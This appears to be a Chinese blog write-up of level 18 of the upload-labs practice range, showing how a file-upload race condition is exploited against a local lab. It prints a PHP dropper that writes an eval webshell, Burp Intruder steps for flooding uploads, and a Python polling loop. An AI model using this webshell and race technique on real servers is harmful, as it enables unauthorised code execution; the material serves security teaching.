pass18

第18关和前面14-17关(要求上传图片马)不同,直接要求上传一个webshell

提示:

源码:

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

如果上传的不是白名单中的文件,会调用unlink方法删除文件。
这么想,貌似好像要用图片马,但是这关最好不要用文件包含漏洞,因为这也不是出题人的本意。

所以还是要上传webshell

如何绕过上传非白名单中的文件而不会被删除呢?

这一关的解决思路就是利用 上传成功之后移动文件到删除文件这段时间之内连接webshell(利用时间差)

利用上面绿色区域中的时间去连接webshell。

但是还有一个问题:即使在短期之内连接上了webshell,但是很快文件又会被删除。—》这样连接webshell有什么意义呢?

解决:

首先上传一个“独特”的木马,但是这个木马不是一句话木马,但是能够产生一句话木马,使得产生 的一句话木马能够不被删除而能够连接webshell

这个“独特”的木马内容如下:

<?php fputs(fopen('zyy.php','w'),'<?php @eval($_POST["zyy"])?>');?>

这个绕过的思路就是“条件竞争

如何在短期之内利用这个独特的木马呢?有两种方法:

1.通过python脚本多线程并发的访问。
2.利用burp不断的上传文件。

首先记录利用burp进行绕过:

pass18-burp不断上传文件

首先开启burp抓包,上传competition.php

利用“Intruder”模块进行反复的文件上传。

发送到intruder:

在Position中清空,不需要payload。

在Payloads中,选择 Null payload:

持续不断无限地:选择Continue indefinitely

Resource Pool:
将线程调整的大一些:

20个并发的线程

然后开始攻击:start Attack

发现靶机的上传目录下不断的有文件被删除又被上传:

然后我电脑的风扇开始呼呼呼的叫了,hhh

然后访问这个competition文件所在的地址,使其产生一句话木马文件。

某一刻是可以访问到的:

而且幸运的话,在这个目录下会生成一个一句话木马文件,但是我就没那么幸运,,,没有生成,,,

如果你能够生成,那么就可以连接这个一句话木马webshell了。

pass18-python多线程-条件竞争

准备条件竞争的python代码:

import requests
url = "http://localhost:7298/upload-labs/upload/competition.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

基本上就是这两个思路了。

可恶,为了跑这一关,我虚拟机靶场崩了。。。

upload_labs_pass18_条件竞争相关推荐

  1. mysql锁争用_关于MYSQL条件竞争与锁的问题

    最近在整理关支付安全的内容,其中就是涉及到了一个在支付过程中的条件竞争问题.以下都是基于mysql的与php的架构来描述该问题,大佬勿喷. 0x01. 条件竞争 什么是条件竞争: 竞争条件 发生在多个 ...

  2. Python之条件竞争

    0x00 条件竞争 一.漏洞概念 竞争条件指多个线程或者进程在读写一个共享数据时结果依赖于它们执行的相对时间的情形.例如:考虑下面的例子: 假设两个进程P1和P2共享了变量a.在某一执行时刻,P1更新 ...

  3. 对于“条件竞争”的利用

    0x01 条件竞争 条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成.当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷.该漏 ...

  4. Race Conditions/条件竞争

    最近,做题总是碰到条件竞争,总结一波,菜鸡一只,大佬自行忽视. 原理 条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不 ...

  5. 智能合约审计之条件竞争

    文章前言 与大多数区块链一样,以太坊节点汇集交易并将其形成块,一旦矿工解决了共识机制(目前Ethereum的ETHASH PoW),这些交易就被认为是有效的,解决该区块的矿工也会选择来自该矿池的哪些交 ...

  6. upload-labs 21超详细通关笔记+部分代码审计(条件竞争等)

    upload-labs 21目录 1-1 前端JS校验绕过 1-2 content-type 绕过 1-3 多种扩展名绕过 1-4 .htaccess绕过 1-6 大小写绕过 1-7 文件名加空格绕过 ...

  7. 【upload靶场17-21】二次渲染、条件竞争、黑白名单绕过

    目录 一.推荐 Pass17(二次渲染绕过) 特点: 分析: 利用: Pass18(条件竞争) 特点: 分析: 利用: Pass19(条件竞争) 特点: 分析: 利用: Pass20(黑名单检测) 特 ...

  8. 小结一下Web的条件竞争的题目

    前言 最近在做我们学校平台的一个题目的时候,突然发现了一个新知识.....可能我是菜鸡吧,大佬们请忽视 正文 这个知识点叫条件竞争... 条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的 ...

  9. 文件上传漏洞、编辑器漏洞和条件竞争漏洞介绍(笔记)

    (一)文件上传漏洞介绍: 文件上传是Web应用的必备功能之一,比如,上传头像.上传简历.上传文档等. 那么上传的过程中如果对用户上传的文件未校验或者校验不严格.过滤不严格,那么恶意用户就可以恶意修改上 ...

最新文章

  1. 【响应式Web前端设计】一文学会使用Bootstrap!
  2. 七步带你认识计算机视觉
  3. LINE: Large-scale Information Network Embedding
  4. iOS编程中throttle那些事
  5. 001——数组(一)数组知识及foreach函数应用
  6. 洛谷——P1012 拼数
  7. python使用get函数在字典中加入键_Python使用字典键作为函数名
  8. Android之failed for task ‘:app:dexDebug‘致gradle编译OOM问题解决(android-support-multidex)
  9. Xcode LaunchImage 载入界面大小设置
  10. LeetCode113. 路径总和 II(DFS)(递归)
  11. 02: DOM 实例
  12. 2017年全国数学建模国赛B题题目、解题思路、matlab代码(三)
  13. 《我喜欢生命本来的样子》读后感作文2100字
  14. MOOC-浙江大学-博弈论基础-学习笔记(四)
  15. Clion 2021解决中文输出乱码问题-亲测有效
  16. python-pptx----母版制作
  17. AI教程之:渐变效果
  18. 华人工程师盗窃苹果商业机密,后果有多严重?
  19. Linux服务器常用命令 - 记录(Anaconda/Matlab/VNC/Python)
  20. 微型计算机原理期末知识,微机原理期末复习解答题

热门文章

  1. SAP Kyma的Lambda Function describe命令输出
  2. CM: 如何通过table SKWG_BREL快速查询product attachment信息
  3. 使用Eclipse本地运行SAP UI5时, UI5库文件的js文件是从本地哪里加载的
  4. CRM Fiori页面返回的元数据解析
  5. SAP C4C Opportunity和SAP ERP Sales流程的集成
  6. mongodb 文档服务器,mongodb服务器
  7. flutter 获取定位_从头开发一个Flutter插件(二)高德地图定位插件
  8. c语言有一个已经排好的数组,C语言有一个已经排好序的数组。现输入一个数,要求按原来的规律将它插入数组中...
  9. python学习-模块和包
  10. IntelliJ IDEA 使用Maven工具 (新手入门简单操作,maven的下载,安装,配置)